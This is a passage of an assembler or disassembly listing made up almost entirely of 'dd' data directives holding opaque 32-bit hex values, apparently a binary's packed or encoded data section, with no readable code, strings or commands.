		dd 6191B58h, 6C090ED8h,	0DF2C252Ch, 3AB992B7h, 56ADC0E4h
		dd 311484B2h, 701DF810h, 6B86D534h, 0B7471603h,	2CB3041Eh
		dd 59278FEAh, 2CBDAC08h, 6296D3CBh, 6DC0FB7Bh, 58123696h
		dd 7255F029h, 0C1D629A7h, 0C18E8E0Eh, 3C08D760h, 0B8C0ACB9h
		dd 0DD6F6CAEh, 44988186h, 3F031D5Ah, 58750C66h,	0B3D64A74h
		dd 44549467h, 60612658h, 5B3D529Eh, 0C3269815h,	0B8186315h
		dd 3F1616C4h, 41D4140h,	184DEE94h, 146C00E0h, 6A47A6CBh
		dd 0A6CEE8D2h, 70ED8E89h, 0A8A42613h, 3C2C9DAFh, 2ACF9228h
		dd 0FF5A080Ah, 6B290210h, 0EDE03058h, 5071930Dh, 3074181Bh
		dd 1844500Ch, 0D63A98E5h, 64B0E595h, 1676C086h,	6E9E686Ah
		dd 1353868Eh, 3580760Eh, 26D35B13h, 26DCC6D2h, 0C43FC68Ah
		dd 5862674Dh, 16704041h, 54AE9418h, 32CCEE36h, 686978EBh
		dd 0F019C0E7h, 4CB6A9EBh, 403503A9h, 0CC6C0731h, 5099810h
		dd 4160D6F5h, 0B0DFE166h, 28D251B4h, 8900D4D7h,	14B2D851h
		dd 3E1A040h, 40406103h,	590DC5E3h, 0E1C80306h, 168BF71Ah
		dd 0A96BDC28h, 0FC1073E6h, 9393AE0h, 9BCE8B76h,	2A5C9931h
		dd 580C0306h, 57357166h, 52654213h, 59FA80CCh, 34D85054h
		dd 0E7DC3273h, 32D4C62h, 8D511154h, 0B1AE0D9Ch,	9145F2ADh
		dd 0CB97B260h, 0AF652DF9h, 13668105h, 88D51F51h, 0CD441011h
		dd 11C280C5h, 41D3CF64h, 1054E75Ch, 39883138h, 0D86D3E34h
		dd 0D9FCC643h, 49B3163Ch, 5804982h, 0C66DC19Dh,	58C2C586h
		dd 3052063h, 0C760C0h, 9D453295h, 2C703355h, 62D314D7h
		dd 0D2811A3Dh, 698080C0h, 0A0B04788h, 21B3CC27h, 211E0E0h
		dd 9C38FCB3h, 56B4E605h, 36DCF03Ch, 3DB210A0h, 31015818h
		dd 0D4BCC286h, 99A68298h, 58EEDFE2h, 9D89DBD1h,	85B3AD85h
		dd 0D301273Ch, 0A98945A0h, 2849A875h, 604180CCh, 7D2CC54Dh
		dd 5810008Ch, 180C9604h, 0C0FB71F5h, 0D7D4653Dh, 0E140C21h
		dd 9C36F8A6h, 40CC902h,	1931DA54h, 0C54CF6h, 0C6C9B4B5h
		dd 438A44A8h, 0C062C760h, 678E36B5h, 0A8C04963h, 3C8DA4D8h
		dd 18926584h, 14E24E60h, 0D2C60F3h, 865CD403h, 0D85C665Fh
		dd 806278EAh, 0A020A7B9h, 699BA06Bh, 0E0B0AC7Ch, 0CC529EE5h
		dd 92741812h, 8CA4A2E6h, 80343A06h, 234638F0h, 619E0A3h
		dd 50AEA9D6h, 11D69183h, 23EC6309h, 66A2684Dh, 20632440h
		dd 6959E6A0h, 680A6BB4h, 0CA01B982h, 52CE2F3Bh,	0CD00839Ah
		dd 646638DCh, 0E020E72Ch, 0C7543108h, 405B0C0h,	83842136h
		dd 65861349h, 279D0D86h, 33490E14h, 642D907Fh, 4D0C810Ch
		dd 2580C661h, 0D0FE9514h, 18C1194h, 0A01886A3h,	8B1FF27Eh
		dd 342B9EDh, 8060E02h, 0A19630Ah, 71622A44h, 53655306h
		dd 259694C4h, 3078E030h, 3AF2A450h, 59391AC3h, 0C0A2E267h
		dd 0C2A8E238h, 0E3863021h, 540AA478h, 2C45CBC7h, 80C15E07h
		dd 35E11A65h, 414CB3D3h, 580BC62h, 0B9E047B5h, 0B245C141h
		dd 0B2D9415Ah, 2CA415C5h, 0CD63E209h, 0A0D96318h, 0F2D86CF5h
		dd 83936A27h, 0AE5BC380h, 0A5959F5Bh, 0B02840ADh, 0F1668951h
		dd 31357161h, 8A030713h, 36AB431h, 1A38459Bh, 5D7C0300h
		dd 76892F0Bh, 31B50807h, 54031460h, 72D2968Bh, 0C1C0258Ch
		dd 6690C16Ah, 0A2D951CCh, 430138C0h, 0AA664B63h, 361D8CA6h
		dd 498EE930h, 7D05C136h, 0C1E514h, 60300745h, 0DE07C2A1h
		dd 5917C126h, 34141DD2h, 58A9500Ch, 0BC5260D6h,	9AC4458Dh
		dd 66905D34h, 3109E031h, 0B335CC60h, 0CB01B378h, 0C0C9320h
		dd 98CE8EABh, 2D88CC7Dh, 0A80643D9h, 7E0A0D09h,	0F1E6182Ah
		dd 10E11D5Ah, 6E1C041Bh, 0A0145D66h, 6E310416h,	6E653A71h
		dd 8B3063B8h, 4A2C537Eh, 6B82038h, 0ED18080Dh, 109875CCh
		dd 2CD52C50h, 0AD962CECh, 8C6821A1h, 0A0A00323h, 50E128CAh
		dd 0F5809332h, 0A54CD79Dh, 0F55BC542h, 30C482C7h, 50EE24E0h
		dd 3A805018h, 0B334BAD4h, 663D61A8h, 74D9B018h,	3781F2A8h
		dd 0FE91E59Bh, 0C2D30954h, 500C8106h, 261D7A51h, 0FA7914BCh
		dd 0E556254Ah, 4541C046h, 17E5716Eh, 0C04F01C7h, 46AA80C5h
		dd 35161407h, 73CD8C36h, 0E030C7C2h, 63B818B2h,	6A116D75h
		dd 0CD712A6Eh, 0C70C6D3h, 0CE546250h, 7CB651E6h, 5A7030Ch
		dd 0C8E50633h, 0BEA64580h, 8F229D86h, 45D116CAh, 5188C0Ah
		dd 4C065184h, 98BB18E2h, 44983692h, 0ADB51953h,	5B637843h
		dd 8C0ADBEFh, 465C9E1Ah, 78064C26h, 4548796h, 435D184h
		dd 50D105Eh, 332146ECh,	30D85604h, 1D368E47h, 3060CECh
		dd 6909416h, 8AFC4E06h,	29F6ED6Bh, 0E30C547h, 19CAA34Dh
		dd 9CC02031h, 0F80C481h, 2F72E736h, 20A07E06h, 5B5DFC06h
		dd 7BEEC870h, 1064828Ch, 51443255h, 0B681ADC3h,	1B5070B6h
		dd 0B86AF603h, 70201E4Ah, 84D98D3Fh, 0B69E2884h, 4E9A2070h
		dd 63B586BBh, 78101651h, 3059988Ch, 8205B21Bh, 46038101h
		dd 0CE271E16h, 0C5236526h, 0D1829BA6h, 84D598C3h, 53C7B03Fh
		dd 519521F1h, 51C51B08h, 0CD81D1BAh, 9925A300h,	313498EEh
		dd 8D5D3C4Dh, 82C9E2Eh,	18B02CCh, 8F62CB27h, 48F72C2h
		dd 0C74ED89Ah, 0D669B511h, 0C5866338h, 5E1A88A2h, 52173D9h
		dd 6034F5E5h, 8955E15Ch, 95C00315h, 8C5F81C9h, 5365D301h
		dd 0AE334357h, 20B8288h, 0B05C269Bh, 9FCC22C8h,	40B2A020h
		dd 30C22AB7h, 0E64BAAC4h, 35BE4A29h, 0ECE12221h, 838EBEC3h
		dd 1885F76Ch, 0F050AD55h, 0AC6E735Bh, 50361070h, 0CED209B0h
		dd 0C6800D8Ah, 5616C062h, 75C91896h, 0BF26CC08h, 917B4D9h
		dd 396C5992h, 2A225704h, 0CE96FF42h, 3E93F582h,	88220186h
		dd 61691E03h, 305BC080h, 0EB981540h, 0C0636858h, 0E20B5996h
		dd 193175Bh, 9B08B080h,	80C01A85h, 68C70CC0h, 0C2F8E630h
		dd 31B51E4Dh, 4DD1CC14h, 61E21E9h, 79146604h, 39E02030h
		dd 40C74607h, 0B4C10340h, 0D9C6D73Fh, 0C32C6231h, 8DEA19EFh
		dd 0D3E07E8Ah, 18FAC164h, 62D2A9A1h, 5ACC4C08h,	5EBEE2D8h
		dd 87743186h, 962D2309h, 9609EC6Ch, 5DB878EEh, 1C65FC96h
		dd 1D8BEB1Eh, 3A899463h, 49895515h, 96CA113h, 41B38581h
		dd 0D4031A60h, 0D1CB14DAh
		dd 40C151Ah, 2C9D8D66h,	14034617h, 26A836ABh, 613801A4h
		dd 3A22464Dh, 2CD30A6Ch, 6618A6C2h, 0A5B32C08h,	580C7143h
		dd 18D41934h, 7D411A6Bh, 58F75B13h, 9309D4C6h, 32833255h
		dd 0C5038C8Ch, 0CA819010h, 361A8C47h, 0E3014728h, 0EF372A46h
		dd 29988D1h, 1C5C30B3h,	2A757269h, 82E2685h, 30209810h
		dd 61D5630Eh, 18603882h, 0E9AB6561h, 0DE809E4Dh, 0CF1E0193h
		dd 2B2CCD63h, 227278C2h, 30358F8Ch, 0EE01E78Ch,	8C32E36h
		dd 8E3A9385h, 0E032C28Bh, 63638451h, 73160F2h, 5914650h
		dd 54B67701h, 10E73287h, 18104E58h, 8ED4074Dh, 0F00C9848h
		dd 760D1ED4h, 96068F5h,	2614314Eh, 0C207310Ch, 25603A8Eh
		dd 0BD401D62h, 0A1C2316Fh, 3CA83263h, 98CAC60h,	38194CB3h
		dd 4B03E4B0h, 82023C08h, 3D488C1h, 796F0ADCh, 143160Bh
		dd 245CAB81h, 2C67D60h,	0A9239A76h, 65519089h, 8EAE6C20h
		dd 2818D87h, 83943BABh,	38E024CAh, 2085C0B6h, 7AA12028h
		dd 95D19998h, 6A314950h, 0E5184B48h, 4196452Dh,	0ACC25440h
		dd 3F34AB5Ch, 5651E0B5h, 0C1E5F5C7h, 3B58C56Dh,	18D11810h
		dd 0C5251C45h, 6B804031h, 9E50D466h, 8C58CD53h,	0E8DE1068h
		dd 7367CC7h, 210FD8C9h,	1CD2362Eh, 11A83EE6h, 0C42A97CCh
		dd 0F3FB8FE4h, 2E9CBCE8h, 26FE251Ah, 0A3A8FA14h, 0AC3EC192h
		dd 0C3B8E562h, 0FA30ACC1h, 0EA68AA7Eh, 0FB4E79F8h, 0A2BA78C0h
		dd 0D2B59FC4h, 41223EE2h, 95D4324Fh, 4962924h, 46A9CC1Ah
		dd 16FA814h, 0DD557D45h, 0D975B829h, 0CACA76ECh, 0DEFB4618h
		dd 0D0540142h, 9A0A8F0Ah, 1695A152h, 9F19EC04h,	0AF5C43C1h
		dd 41998AF8h, 60639170h, 0F84E52E6h, 0A615643Ah, 1745C669h
		dd 0E55F7E78h, 72A6FB51h, 78ABA1C7h, 0B3ADAF3Dh, 270F4C2h
		dd 10238D70h, 0A8683A90h, 0EEA2F05Ch, 11E6DD84h, 4A895D00h
		dd 212425C8h, 843AAEh, 78CC5244h, 5D78A997h, 88D96021h
		dd 99887D18h, 743EDCB5h, 619F6D95h, 0BA9D9C7Fh,	97309F5Bh
		dd 0EB1BE5B0h, 374581FCh, 0D54612ADh, 18389F5Ah, 0D7168E15h
		dd 7CAB547Ch, 461160CCh, 3D95CA99h, 31D861Dh, 52E66BC1h
		dd 0CD1D870Fh, 1D279AA5h, 0D79FE55Dh, 0D99C1958h, 0D046D3CFh
		dd 95D2D457h, 79592E56h, 0A7FCAB47h, 6131EB59h,	847D601Eh
		dd 47D65183h, 56EA69DDh, 2ECAF658h, 0F3096C82h,	9A8AA420h
		dd 3E11C309h, 0FE5AAF47h, 0E47D63C1h, 0F71EA598h, 70F4831Dh
		dd 5630E598h, 76A8A230h, 51CB7028h, 0B7AEAAF7h,	0BE8BA2Ch
		dd 0C012044Eh, 0E4D9FCFFh, 3980B731h, 8AD0B720h, 9606B9C3h
		dd 82CCFC5Fh, 12616D8h,	240E3118h, 0BC437C0Bh, 40188130h
		dd 0D70917D4h, 0A634C423h, 6270149h, 1030A5F0h,	16A4853Ah
		dd 506415E5h, 466B5E0Bh, 9FFC053Bh, 0AE4831C9h,	910C9FDAh
		dd 14CA1361h, 0BAC00DE6h, 0C0B26D41h, 0AA5A8FCCh, 4EF00774h
		dd 214E2E49h, 2FDA7C08h, 2BFF194Ch, 81FCE9DBh, 0AAFE2BD7h
		dd 0D09D89FEh, 56908890h, 251757AFh, 42364B6Dh,	88B8D431h
		dd 603CA23Eh, 6E832DDh,	74A1332Ah, 6B140830h, 0B15BF84Fh
		dd 307ED70Eh, 13E6AED4h, 8DA4CAA3h, 75FE2FF9h, 8513500Bh
		dd 0A9547AADh, 0A5045757h, 3155495Ah, 0FAD8E020h, 530BA9FFh
		dd 0BAD33E25h, 5C4BC0E1h, 5859E469h, 36575156h,	5C51F5A4h
		dd 0C121B711h, 87F95E7Dh, 0C9F95C4h, 5D73FD02h,	734AB141h
		dd 0A0910021h, 4FE3FB40h, 8417CA27h, 7DEE6A57h,	0D5722719h
		dd 0D89E0BCCh, 1D8082A3h, 5DE88FB2h, 72C011DDh,	845868C1h
		dd 0D48216D2h, 0F6C2EA2Bh, 41363104h, 0D01422F4h, 8F6C0A3h
		dd 81225FA2h, 4E90091Eh, 7FFFD10h, 0BEDA1160h, 5FE2C80Ah
		dd 0B006219h, 87401BFh,	8A082450h, 0E7121F76h, 984AE810h
		dd 41288D25h, 84A23696h, 1290FA58h, 4A1C6960h, 286AA578h
		dd 0A1E995C1h, 162A5684h, 0C1525812h, 1E4AC010h, 492AA825h
		dd 4A89894h, 129E4252h,	4A688943h, 2962250Bh, 0A4899455h
		dd 3A9451C4h, 0A2514652h, 89454528h, 251784A1h,	0F6429282h
		dd 0E1294BF9h, 44A44497h, 0CBF1A5Fh, 86EF897Ch,	1F8FA5C1h
		dd 27BDEC04h, 20D9FB00h, 1808810Ah, 11FD7F60h, 5094885h
		dd 2DED394Eh, 456A8214h, 0D7020580h, 1CC55AFEh,	4E41800Dh
		dd 0C3555040h, 2ACB0996h, 2824C520h, 0B48C6290h, 0C152008h
		dd 8581B256h, 0DF60E49Ch, 0E9538B4Dh, 0FF0720D0h, 817E3039h
		dd 6A03F112h, 0A3EDC023h, 0C1FB0783h, 4CA0136Ah, 6D5803FEh
		dd 0A8293011h, 0B9FA3057h, 367ADB64h, 5F412F21h, 0C0F0F29h
		dd 8153ADBh, 0A02397EDh, 1318D460h, 5B51DAAFh, 2E740AF9h
		dd 0EF073992h, 8DF9FB1Dh, 9444E509h, 386183A1h,	4C328B2Dh
		dd 918555A6h, 68D1B4B1h, 0AC8AA4CCh, 7CD020CFh,	1808328Bh
		dd 0D0A66242h, 5A3DA129h, 0F2020728h, 0B141660h, 4A22287Bh
		dd 80484181h, 29D39449h, 2A0A18A4h, 3AA05604h, 5260750Dh
		dd 0B011C1A5h, 60AB62A9h, 56C655D8h, 6AEE2C3Eh,	5C17062Bh
		dd 92E4DFFAh, 41985E2Ch, 0C5AC567h, 808B30B0h, 5837605h
		dd 309104C1h, 94A54EC2h, 42D06452h, 0DA469E60h,	3A76B121h
		dd 0EE71C2Dh, 75D3DD8Ah, 76433041h, 8702A310h, 2747320Ah
		dd 187816CCh, 80CE57D6h, 84E8E59h, 0D8F4C6A5h, 8F64C723h
		dd 923D7B20h, 0A06C51ECh, 292C9347h, 8FCACC74h,	93A262EEh
		dd 2CD601B2h, 8617EA8h,	120A36F0h, 95012964h, 196F2B61h
		dd 995086A0h, 67E5418Eh, 0B806106Fh, 6C414161h,	1AC05BE0h
		dd 21A596FEh, 3E1F6542h, 86E40653h, 0E12D8501h,	94B5010Dh
		dd 92CCC257h, 4A89095Eh, 11FF25FCh, 41951A1h, 0C439A588h
		dd 2FE0495h, 9106808Ah,	0A04ADB6Bh, 1E90C915h, 2E25EF61h
		dd 575D25DFh, 65DD1801h, 80FF3292h, 0A6AD0D7Eh,	1B33FE4h
		dd 0A060E065h, 0CF084A06h, 648D816h, 9DB0C287h,	0A31B1252h
		dd 70A1706h, 0F9A3E1F1h, 0B3A383F9h, 81EB003Bh,	2FDBFE30h
		dd 0CD015B30h, 4600C055h, 5009BE8h, 94ED7981h, 0EE5ECA3Ch
		dd 529C2AD3h, 0CC220D97h, 0CCA97DEh, 0C0043F35h, 5B4A0284h
		dd 93A569C9h, 0BBA8B069h, 1DA216CCh, 0BE4D5E31h, 432F5D34h
		dd 6A56D5C1h, 7ED0011Ah, 8B7C6E8h, 0C06640A8h, 8B1220Ah
		dd 31167EA1h, 0E1E8ACE4h, 0E912A870h, 196CB493h, 14904530h
		dd 0D194C459h, 0FF936F37h, 4D11C826h, 0DE671BC7h, 0BA7343Eh
		dd 20F838E7h, 0B7094E3Bh, 5BC567B6h, 4EF45EA3h,	0D92FCEDAh
		dd 8EA72BBFh, 78339635h, 0B75FC67Dh, 8741B71Ch,	9D7E2B43h
		dd 0E77F71B2h, 7B7078EFh, 794CA0A2h, 0E9C9312Ch, 4DCF16E4h
		dd 63F7E757h, 3B6FFFD2h, 319E80F4h, 268FE378h, 0EA289C07h
		dd 2DAEBAC9h, 9CE33BCCh, 0F05AB27h, 77BB7EF7h, 7E73F284h
		dd 5DFB8EEFh, 0A1E8BFBFh, 6F1F5551h, 29977CD7h,	326A33E5h
		dd 2117E130h, 35C524A2h, 5E27D57Eh, 0AF4FBC7Ch,	0FDCBE8EFh
		dd 57ACD4F9h, 8B657869h, 0F230AF3Eh, 0BB41E671h, 0E8E8ED36h
		dd 0D17819F1h, 386D0D3h, 0E4D265D7h, 8A172976h,	939C29B5h
		dd 0BB8D934Fh, 0A678CEE6h, 0BB3D97B6h, 3D8BDF96h, 0AB5FE294h
		dd 6F86CF64h, 0C0AAF31Ah, 937B8641h, 0FB8B6971h, 0EC490F47h
		dd 9FCFAD13h, 0AACA6BB8h, 727D6ECFh, 907BFE3Eh,	0B753FE8Bh
		dd 0BCBCBB80h, 2A93939h, 92558315h, 2E6F5838h, 180154DCh
		dd 0FB8C3002h, 0D7D13F73h, 5BF0F615h, 649DDC00h, 0F8DC76B5h
		dd 2583F7E9h, 0E1F4BDBAh
		dd 58CFFA9Dh, 17DBE596h, 277A8AB1h, 1E12F47Eh, 27AC10F9h
		dd 0FDC78F1Bh, 6DB5E2E9h, 0AF82681Ah, 0F86FA6D9h, 9CF7EF66h
		dd 0BD7959D9h, 4DFF7942h, 77857AB9h, 0CEB05BCEh, 377EFD25h
		dd 0C876E122h, 0ADF866AFh, 4DF65F4Ch, 0E6E469BCh, 19A9532Bh
		dd 0B44E9DC9h, 0FE6BCEEEh, 0BD676C50h, 27345E77h, 7B63DD65h
		dd 76495D6Ch, 78B7CF30h, 0DCC623E3h, 0BD1D9BA9h, 0ACF0C38Bh
		dd 1A9D2B55h, 0BBAF6FDBh, 0FBA5F225h, 36FB9DEBh, 8AFEF8D8h
		dd 204F2585h, 9C94E881h, 0AFFA4BE9h, 0BBEE93FAh, 0E4DE8951h
		dd 946EB343h, 0AB3E592Fh, 0E0DC8776h, 52EFB1DEh, 0E470C91Dh
		dd 9FA983FFh, 0F56333D2h, 0E63CD466h, 0F24392D0h, 0CE300D64h
		dd 0BEE089E8h, 0AF3B547Ch, 2B108FF7h, 0C7D1EE62h, 69A088DEh
		dd 0D84AE3C3h, 0FB66778h, 66FD2D0Ah, 0EA67CCDDh, 74A4B974h
		dd 5EEA718Eh, 0B5396666h, 0F7DC4E42h, 6B4BD361h, 0A2DA0ABFh
		dd 568D8233h, 4F52CCBCh, 2B3B9447h, 0B24BCFD1h,	4B667884h
		dd 7D4F49F2h, 0B59CD34Ah, 609A5DCEh, 7B85C7D6h,	0FA384E07h
		dd 0F79F7DFDh, 0ABE4D1ECh, 0FA86115Ah, 18A7679Bh, 0B62F0E45h
		dd 7EBE52ECh, 0BEC4E99Ch, 0BD9F0D94h, 0B91042E3h, 9BB0E774h
		dd 96B34EEEh, 80D2AE68h, 9AB5F8B4h, 0FE6BE9F9h,	0C14096F0h
		dd 0C2CAA3C4h, 55F524C0h, 0A817FD36h, 901E7927h, 72D83BA5h
		dd 7E305838h, 40AABB6h,	0B74A42E3h, 31455BEEh, 6610F95Bh
		dd 1982DEE0h, 0EA305980h, 8B348517h, 5B1FAFAAh,	0B84410ABh
		dd 3002h, 8800h, 40000000h, 434A0074h, 1000h, 0
		dd 20F32813h, 42289FF4h, 0A78063B4h, 1184505h, 8533D094h
		dd 11842601h, 0D2D765B9h, 5B8A5B26h, 73297590h,	0B1261228h
		dd 0F65BA536h, 0DE7EEA7Ch, 0C522C36Eh, 542F414h, 4A65BCE9h
		dd 0C2B69B15h, 0C8B93BCDh, 5892A81h, 0CB7D8CEDh, 90917377h
		dd 324C7051h, 6F169057h, 6114AB5Ah, 4F5D2EB6h, 1B650458h
		dd 141843Ah, 8C190485h,	29A52B00h, 8DC12C2h, 25944B48h
		dd 930C3A00h, 35D6E6D5h, 0A355394Dh, 1A5B0D9Ch,	0B50ADF78h
		dd 6934FA04h, 8952ADC8h, 0F8C03EFBh, 0EE112200h, 2 dup(0)
		dd offset loc_745000
		dd 2926434Ah, 1, 0F0990000h, 123E20C3h,	2A6EDF19h, 0D7019FF9h
		dd 6DDF07EFh, 70F4CFF1h, 0CF730C0Dh, 14E7B47h, 81F4EBD5h
		dd 390E5F87h, 68E43BCh,	0CE17F97Eh, 39709914h, 3E28F874h
		dd 2425F250h, 0B2261C6Ch, 42476C58h, 0C2FCCCE6h, 495E65D5h
		dd 0E1724076h, 7C4CC0F1h, 8D8299B9h, 0DD481EBFh, 8995FBC8h
		dd 5AC5F188h, 804BBB81h, 0DA29C124h, 0A0D93EDDh, 90FCB50Bh
		dd 1C3B4AF3h, 781A6F8Ah, 0B68A93BFh, 17CDDB68h,	0D3DF0EA4h
		dd 0D537CD46h, 0F5FD86C2h, 2E2725F9h, 0D929D4C7h, 0F3C1429h
		dd 0F7D60E77h, 0C5DE0F5Fh, 48B4D90Fh, 0BB1C4D40h, 0AF1F104Eh
		dd 64FBF385h, 2EB104D7h, 4B9E8886h, 42EF1829h, 482414A6h
		dd 4901109Eh, 21735BE6h, 7E078430h, 43D07C88h, 0B0415B2Ah
		dd 80571EBAh, 4ADBE249h, 0E1B255C6h, 68C3EC87h,	95B3D490h
		dd 0A7F5C724h, 0D5D7785Dh, 0A2DD4006h, 67032D18h, 0D5A1BD1Dh
		dd 0C4A1C1C8h, 5EC6D8C2h, 0B8786049h, 0A62AF0F5h, 95EF635Dh
		dd 293F6189h, 0D6877894h, 0DE00F703h, 9A08E423h, 178849BCh
		dd 0A7AA0E47h, 8BEC7119h, 9C6C862Eh, 968E2A02h,	5F093B75h
		dd 0E41F8CA3h, 0CAEB08DFh, 0A02DEFC5h, 0B458AF1Fh, 0C8D42FACh
		dd 7C77D6Dh, 0DFBEBB6Eh, 785CAFD3h, 1A0845FFh, 0DB70DD72h
		dd 954EB91Bh, 9565D5FAh, 0B074D1BEh, 0EA93E655h, 0F8688975h
		dd 2D5E0149h, 2808FEFCh, 0DAD1CA1Bh, 87B79DCDh,	0CAC057C1h
		dd 0FBE8FBAFh, 1303F0F5h, 0E7963793h, 369DF402h, 0FBAAA20Eh
		dd 0BF40E00Ah, 62436528h, 6592212Bh, 0C1DFF0C1h, 1795A50Fh
		dd 0B00E212Ah, 0AC75C5Fh, 43D6E97h, 0A2A1478Eh,	0B43A3DEDh
		dd 7C1E6ABAh, 44C27536h, 0C4F60469h, 26A7FD3Ch,	0ED4BC092h
		dd 0BBC519B4h, 14DBF180h, 6B34D3D6h, 82B73E3Dh,	0F0BEA4BFh
		dd 0C108899Fh, 8A8FE748h, 9C0E8F37h, 19E521Ch, 6A289F71h
		dd 130553E1h, 2822A5B3h, 0C2A9E07Ch, 4AF255BBh,	0AA16BD54h
		dd 4FFD9409h, 2AD8EAFh,	101CB2ACh, 83F5634h, 52BD4496h
		dd 0A9015284h, 0EC0E2D44h, 99F4492Ah, 476E8BFCh, 15B38526h
		dd 871403DEh, 0B17383E1h, 84B7E7C2h, 445930EAh,	2C0269A6h
		dd 0B5BBE8DCh, 93F269ECh, 0E4C215A2h, 1D8043Eh,	0D1E257CAh
		dd 2781C75Ah, 0AA28EFFBh, 0A3C3EB27h, 0E2CBF4C0h, 999F8D61h
		dd 0A3F61D4h, 0A27D0AB4h, 0CC2B89FDh, 1E5231DAh, 405403ADh
		dd 806F60FAh, 0D0E9160Bh, 43F096BAh, 5B6BD5B8h,	31A6595Bh
		dd 46D1550h, 835C61F7h,	0E0C79728h, 2B211E0Ch, 3379FF60h
		dd 0E93C1ABFh, 0A7473787h, 4AC1D201h, 87804688h, 30136EE1h
		dd 1810867Fh, 348F822Bh, 0F945D8BAh, 36982AA1h,	91A3A0DDh
		dd 3813B8A4h, 0C056285Fh, 4B274AF8h, 1CF06702h,	91BC2752h
		dd 0B22C0627h, 891F4C2Ch, 0D4FBA009h, 30708055h, 0DF251A01h
		dd 35D13277h, 8DC49847h, 8DA1527h, 11F6184Bh, 3DCD395Bh
		dd 0A152FF79h, 0DE08E066h, 8853CD7Ah, 8B2C4AC3h, 0D0C794ADh
		dd 1447702h, 0DA00F23Fh, 7AFBB173h, 6BF8F8A1h, 0ED1235Eh
		dd 1F7B9858h, 136EA27Ch, 8BF57E27h, 968D462h, 0DBE340AFh
		dd 0A8462164h, 0CB73D507h, 0DBD079CAh, 0F8018C5h, 0D8F6008Eh
		dd 7E1FF828h, 5BFC5C38h, 2BDEC5A2h, 885D9A49h, 8B27820Ah
		dd 8D879495h, 0CA4512B4h, 205DC170h, 72D61A0Dh,	0D134952Eh
		dd 0D86856A0h, 0BAA4665Ah, 7C332ADFh, 0F6E23F19h, 97DC3DFh
		dd 9A3D08Ch, 5DB957Ah, 2DB97120h, 2756371Ch, 0D57DEA69h
		dd 0EF9FB005h, 68B13A1Fh, 0C2ABD6A5h, 553F524Ah, 0E102581Eh
		dd 1503B17Eh, 0EF7BEE0Bh, 0BE28EA8Eh, 59106C95h, 0ADC6B1BDh
		dd 0F0301C5Fh, 0A74296B3h, 0E9F3F1Eh, 0A1EA15C9h, 0A9A00545h
		dd 6F14D675h, 0F8076196h, 214C073Ah, 78F33705h,	51851F02h
		dd 8256C804h, 0B332160Fh, 0B6BC0864h, 661DD435h, 2B945Ah
		dd 607827B0h, 0F6AEEC94h, 0BF0D30EDh, 0E2FA0E0Ah, 0F8A70BAh
		dd 0EDC0359Ch, 0A0D7F757h, 0F4178BF0h, 0F0D9FCCFh, 92BB7314h
		dd 1169F943h, 90E3E12Dh, 0A872CCC7h, 0F97DF1BAh, 18B0BD65h
		dd 0ECA04C6Eh, 0C2DD2EC7h, 0CC78592Eh, 29CAB40Dh, 0BBDD6445h
		dd 0F8DB4842h, 64E87FDh, 28A1ACC6h, 8AD964Bh, 34160653h
		dd 9289B15Ah, 46296716h, 41EE2071h, 0A5F101DEh,	0F9F68048h
		dd 8B6BF091h, 7D1FBAEEh, 0C4C11E8Eh, 0C53BA75Ch, 0A3797298h
		dd 74901BB6h, 67AB808Ah, 0E5B1C0FFh, 79B1295h, 9AC7ED2Fh
		dd 36050F0Fh, 21A530BEh, 18C27152h, 71CCFBC1h, 1D86CAA5h
		dd 8B3EEB73h, 9E8DF73Bh, 3653582h, 189359A1h, 1CD4FF5Bh
		dd 0BBCA9D0h, 59F553DCh, 70EDF780h, 9D975982h, 6126EFDFh
		dd 94286F4Fh, 0ECE265E6h, 0C0FBB284h, 1A8DA56Fh, 0BCFDE5DAh
		dd 106BE4B9h, 43F077E1h, 58FEA4D7h, 173E5D2Eh, 1168F4F9h
		dd 18F04F04h, 2A2F31BEh, 3C0E404Ah, 0EE5C8672h,	0D50E767h
		dd 0D2941C30h, 0B30A9D8Ch, 4A5B0830h, 4A5B3B72h, 360B5F3Eh
		dd 0B9B11E8Eh, 655E279Bh, 0B6CADFBCh, 0FC72D1FDh, 0A9570197h
		dd 0C541FB55h, 0A27170F2h, 0C2112BDFh, 0E4E102F6h, 3531B78h
		dd 53AEE342h, 6D5D2BDFh, 9DD9B446h, 607C69E2h, 0FE7715FDh
		dd 9958D448h, 0A15AA4B5h, 7943195Dh, 395AD2C9h,	0AC9CA62Dh
		dd 717C3DB6h, 4E449811h, 0DF973526h, 6BC52311h,	5841AD19h
		dd 0CA052D9h, 0B86245B2h, 7054193Ch, 23C0A6ABh,	0A9F25D8Eh
		dd 3F928383h, 0E0CFF10Eh, 6E50ABF7h, 2536A514h,	0D1CD16FBh
		dd 0D6788ABEh, 418FE4E7h, 0C8D96109h, 4B462212h, 9A9A5ED0h
		dd 0A53A5AD9h, 0B71C5614h, 0C09B9358h, 0BD252C4Ch, 0A24A4521h
		dd 0ABA94362h, 7C0FD1BEh, 0B4E9A39Eh, 78A8AB51h, 0EE692996h
		dd 65115C6Fh, 607D63E2h, 0F5D2EBCFh, 0AA1F50B9h, 0C3EFCF76h
		dd 93CBBB2Eh, 6BFCD209h, 0B92B3785h, 0A7886DEDh, 25C68601h
		dd 0B381AA9Eh, 4F43A11Ah, 1203247Dh, 4091592Dh,	0E8A35C83h
		dd 95888ED6h, 88572A3Ch, 0DBF20A16h, 0E79891A4h, 0B3F2A649h
		dd 2EA6E872h, 73E9FC79h, 42A3E9C8h, 0C96A8ACDh,	0F0E223FCh
		dd 6ABE9A58h, 0B4D4729Ah, 55F072D1h, 7EEDE37Dh,	7DD7888Ah
		dd 33ADDC40h, 75F47E1Ch, 5F161258h, 76E19D60h, 1E35DF8Eh
		dd 0B174F88Eh, 0AC245B3Dh, 8ED80704h, 24510E1Fh, 8531C981h
		dd 2F090393h, 41B19DE2h, 0EFE4A61h, 0DD093DEDh,	29364B68h
		dd 0F24AB9E9h, 0D52F9396h, 5F7C280Ah, 5C46F559h, 8A970867h
		dd 88B6B330h, 0A17D88B9h, 8D661F90h, 0D5A84FA6h, 5A972153h
		dd 72A2FF20h, 8491599Ch, 8853EA86h, 0D8F74556h,	0BD902E2h
		dd 5F7CCA14h, 0AB903DB4h, 0DC47B44h, 6512451Eh,	0B4E33111h
		dd 30296D68h, 0C43B7652h, 4A2BF5FDh, 7A05039Eh,	4FA00D30h
		dd 0FE2E7A9Ah, 57D27D7Ah, 77B42437h, 262E6AC1h,	84D0EBD6h
		dd 7B6BAB08h, 0A775BF02h, 3F5F953Ch, 0D1B5DA58h, 0F12A453Ch
		dd 39DC696Bh, 0C51EC82Dh, 86793519h, 1224F85h, 17C963C5h
